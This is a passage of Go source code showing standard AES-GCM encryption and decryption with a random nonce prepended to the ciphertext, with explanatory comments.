    fmt.Printf("Ciphertext (hex): %x\n", ciphertext)

    // Decrypt the ciphertext.
    decryptedText, err := decrypt(ciphertext, key)
    if err != nil {
        log.Fatal(err)
    }
    fmt.Printf("Decrypted Text: %s\n", string(decryptedText))
}

func encrypt(plaintext []byte, key []byte) ([]byte, error) {
    // Create a new AES cipher block from the key.
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    // Create a new GCM cipher mode.
    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    // Create a nonce (number used once). GCM nonces must be unique for each encryption
    // with the same key. A 12-byte nonce is standard.
    nonce := make([]byte, gcm.NonceSize())
    if _, err = io.ReadFull(rand.Reader, nonce); err != nil {
        return nil, err
    }

    // Encrypt the data. The nonce is prepended to the ciphertext.
    // This is a common practice to make decryption easier.
    ciphertext := gcm.Seal(nonce, nonce, plaintext, nil)
    return ciphertext, nil
}

func decrypt(ciphertext []byte, key []byte) ([]byte, error) {
    block, err := aes.NewCipher(key)
    if err != nil {
        return nil, err
    }

    gcm, err := cipher.NewGCM(block)
    if err != nil {
        return nil, err
    }

    // The nonce is the first part of the ciphertext.
    nonceSize := gcm.NonceSize()
    if len(ciphertext) < nonceSize {
        return nil, fmt.Errorf("ciphertext too short")
    }

    nonce, actualCiphertext := ciphertext[:nonceSize], ciphertext[nonceSize:]

    // Decrypt the data. If the authentication tag (MAC) is invalid,
    // this function will return an error.
    plaintext, err := gcm.Open(nil, nonce, actualCiphertext, nil)
    if err != nil {
        return nil, err
    }

    return plaintext, nil
}